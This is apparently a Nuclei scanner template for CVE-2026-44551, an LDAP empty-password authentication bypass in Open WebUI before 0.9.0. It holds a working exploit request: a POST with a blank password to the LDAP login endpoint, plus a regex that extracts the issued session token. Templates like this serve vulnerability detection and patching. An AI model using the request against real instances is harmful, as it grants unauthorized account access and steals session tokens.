id: CVE-2026-44551

info:
  name: Open WebUI 'LDAP Empty Password' - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.
  impact: |
    Attackers can authenticate without a password and obtain full session tokens, leading to unauthorized access.
  remediation: |
    Update to version 0.9.0 or later.
  reference:
    - https://github.com/open-webui/open-webui/security/advisories/GHSA-2r4p-jpmg-48f4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44551
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-44551
    epss-score: 0.01461
    epss-percentile: 0.70993
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"Open WebUI"
  tags: cve,cve2026,open-webui,ldap,auth-bypass

variables:
  username: "{{username}}"

http:
  - raw:
      - |
        POST /api/v1/auths/ldap HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"user":"{{username}}","password":""}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"token_type":'
          - '{"id":'
          - '"name":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"token":"([^"]+)"'
# digest: 4a0a0047304502210089a68d89b06c8d08d4c2ca2c7dc978df8023c76090a347a079e3272c4b1e1fee02201efaaf55fe9437b8cb7e3990b30b6aed53ee25ce80b433c013901d6cf72a3e71:922c64590222798bb761d5b6d8e72950